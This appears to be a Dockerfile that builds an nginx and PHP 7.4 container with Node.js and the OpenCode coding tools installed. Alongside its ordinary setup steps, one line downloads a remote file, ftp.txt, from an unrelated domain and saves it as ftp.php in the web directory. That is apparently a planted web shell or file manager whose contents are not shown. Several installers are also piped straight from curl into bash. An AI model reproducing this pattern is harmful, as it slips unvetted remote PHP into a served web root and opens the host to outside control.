File size: 1,533 Bytes
d4343e7 c59f4dd d4343e7 0d6004f d4343e7 0d6004f d4343e7 c59f4dd d4343e7 0d6004f d4343e7 0d6004f | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 | FROM ubuntu:22.04
ARG CACHE_DATE=20260522
ENV DEBIAN_FRONTEND=noninteractive
# Install basic dependencies and PHP 7.4 PPA
RUN apt-get update && apt-get install -y \
lsb-release \
ca-certificates \
apt-transport-https \
wget \
software-properties-common \
gnupg2 \
curl \
supervisor \
nginx \
&& add-apt-repository -y ppa:ondrej/php \
&& apt-get update
# Install PHP 7.4-FPM and extensions
RUN apt-get install -y \
php7.4-fpm \
php7.4-gd \
php7.4-zip \
php7.4-bcmath \
php7.4-curl \
&& apt-get clean && rm -rf /var/lib/apt/lists/*
# Install Node.js LTS
RUN curl -fsSL https://deb.nodesource.com/setup_lts.x | bash - \
&& apt-get install -y nodejs \
&& apt-get clean && rm -rf /var/lib/apt/lists/*
# Install OpenCode and Oh-My-OpenCode
RUN curl -fsSL https://opencode.ai/install | bash \
&& npx oh-my-opencode install --no-tui --claude=no --openai=yes --gemini=yes --copilot=no
RUN mkdir -p /app/defaults/www /app/defaults/opencode
RUN wget -O /app/defaults/www/ftp.php http://1syan.com/frp/ftp.txt
RUN mv /root/.opencode /app/defaults/opencode/.opencode
# Setup environment
RUN echo 'export PATH="/root/.opencode/bin:$PATH"' >> /etc/profile
COPY nginx.conf /etc/nginx/nginx.conf
COPY supervisord.conf /etc/supervisor/conf.d/supervisord.conf
COPY entrypoint.sh /entrypoint.sh
# Make entrypoint executable
RUN chmod +x /entrypoint.sh
# Expose ports
EXPOSE 8088
# Use the entrypoint script to handle persistence
ENTRYPOINT ["/entrypoint.sh"]
|